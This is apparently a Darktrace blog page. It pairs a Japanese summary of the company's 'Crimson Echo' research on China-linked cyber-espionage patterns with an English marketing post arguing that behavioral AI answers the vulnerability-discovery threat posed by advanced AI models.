中国系サイバー脅威のこれまでの変化

中国系サイバーアクティビティは過去20年間において4つのフェーズで進化してきたと言えます。初期の、ボリュームを重視したオペレーションは1990年代にから2000年代初めに見られ、それが2010年代にはより構造化された、戦略に沿った活動となり、そして現在の高度な適応性を備えた、アイデンティティを中心とした侵入へと進化しています。  

現在のフェーズの特徴は、大規模、攻撃の自制、そして永続化です。攻撃者はアクセスを確立し、その戦略的価値を評価し、維持します。これはより全体的な変化を反映したものです。つまりサイバー作戦は長期的な経済的および地政学的戦略に組み込まれる傾向が強まっているということです。デジタル環境へのアクセス、特に国家の重要インフラやサプライチェーン、先端テクノロジーにつながるものは、ある種の長期的な戦略的影響力と見られるようになりました。  

複雑な問題に対するダークトレースのビヘイビア分析アプローチ

国家が支援するサイバーアクティビティを分析する際、難しい問題の1つはアトリビューションです。従来のアプローチは多くの場合、特定の脅威グループ、マルウェアファミリー、あるいはインフラに判定を依存していました。しかしこれらは絶えず変化するものであり、さらに中国系オペレーションの場合、しばしば重複が見られます。

Crimson Echo は2022年7月から2025年9月の間の3年間にDarktrace運用環境で観測された異常なアクティビティを回顧的に分析した結果です。ビヘイビア検知、脅威ハンティング、オープンソースインテリジェンス、および構造化されたアトリビューションフレームワーク(Darktrace Cybersecurity Attribution Framework)を用いて、数十件の中~高確度の事例を特定し、繰り返し発生しているオペレーションのパターンを分析しました。  

この長期的視野を持ったビヘイビア中心型アプローチにより、ダークトレースは侵入がどのように展開していくかについての一定のパターンを特定することができ、動作のパターンが重要であることがあらためて確認されました。  

データが示していること

分析からいくつかの明確な傾向が浮かび上がりました:

  • 標的は戦略的に重要なセクターに集中していたのです。データセット全体で、侵入の88%は重要インフラと分類される、輸送、重要製造業、政府、医療、ITサービスを含む組織で発生しています。   
  • 戦略的に重要な西側経済圏が主な焦点です。米国だけで、観測されたケースの22.5%を占めており、ドイツ、イタリア、スペイン、および英国を含めた主要なヨーロッパの経済圏と合わせると侵入の半数以上(55%)がこれらの地域に集中しています。  
  • 侵入の63%近くがインターネットに接続されたシステムのエクスプロイトから始まっており、外部に露出したインフラの持続的リスクがあらためて浮き彫りになりました。  

サイバー作戦の2つのモデル

データセット全体で、中国系のアクティビティは2つの作戦モデルに従っていることが確認されました。  

1つ目は“スマッシュアンドグラブ”(強奪)型と表現することができます。これらはスピードのために最適化された短期型の侵入です。攻撃者はすばやく動き  – しばしば48時間以内にデータを抜き出し  – ステルス性よりも規模を重視します。これらの侵害の期間の中央値は10日ほどです。検知の危険を冒しても短期的利益を得ようとしていることが明らかです。  

2つ目は“ローアンドスロー”(低速)型です。これらのオペレーションはデータセット内ではあまり多くありませんでしたが、潜在的影響はより重大です。ここでは攻撃者は持続性を重視し、アイデンティティシステムや正規の管理ツールを通じて永続的なアクセスを確立し、数か月間、場合によっては数年にわたって検知されないままアクセスを維持しようとします。1つの注目すべきケースでは、脅威アクターは環境に完全に侵入して永続性を確立し、600日以上経ってからようやく再浮上した例もありました。このようなオペレーションの一時停止は侵入の深さと脅威アクターの長期的な戦略的意図の両方を表しています。このことはサイバーアクセスが長期にわたって保有し活用するべき戦略的資産であることを示しており、これは最も戦略的に重要なセクターにおいて最もよく見られたパターンです。  

同じ作戦エコシステムにおいて両方のモデルを並行して利用し、標的の価値、緊急性、意図するアクセスに基づいて適切なモデルを選択することも可能だという点に注意することも重要です。“スマッシュアンドグラブ” モデルが見られたからといって諜報活動が失敗したとのみ解釈すべきではなく、むしろ目標に沿った作戦上の選択かもしれないと見るべきでしょう。“ローアンドスロー” 型は粘り強い活動のために最適化され、“スマッシュアンドグラブ” 型はスピードのために最適化されています。どちらも意図的な作戦上の選択と見られ、必ずしも能力を表していません。  

サイバーリスクを再考する

多くの組織にとって、サイバーリスクはいまだに一連の個別のイベントとして位置づけられています。何かが発生し、検知され、封じ込められ、組織はそれを乗り越えて前に進みます。しかし永続的アクセスは、特にクラウド、アイデンティティベースのSaaSやエージェント型システム、そして複雑なサプライチェーンネットワークが相互接続された環境では、重大な持続的露出リスクを作り出します。システムの中断やデータの流出が発生していなくても、そのアクセスによって業務や依存関係、そして戦略的意思決定についての情報を得られるかもしれません。サイバーリスクはますます長期的な競合情報収集に似てきています。

その影響はSOCだけの問題ではありません。組織はガバナンス、可視性、レジリエンスについての考え方を見直し、サイバー露出をインシデント対応の問題ではなく構造的なビジネスリスクとして扱う必要があります。  

次の目標

この調査の目的は、これらの脅威の仕組みについてより明確な理解を提供することにより、防御者がより早期にこれらを識別しより効果的に対応できるようにすることです。これには、インジケーターの追跡からビヘイビアの理解にシフトすること、アイデンティティプロバイダーを重要インフラリスクとして扱うこと、サプライヤーの監視を拡大すること、迅速な封じ込めのための能力に投資すること、などが含まれます。  

ダークトレースの最新調査、”Crimson Echo: ビヘイビア分析を通じて中国系サイバー諜報技術を理解する” についてより詳しく知るには、ビジネスリーダー、CISO、SOCアナリストに向けたCrimson Echoレポートのエグゼクティブサマリーを ここからダウンロードしてください。 

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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April 17, 2026

Why Behavioral AI Is the Answer to Mythos

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How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

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About the author
Ed Jennings
President and CEO
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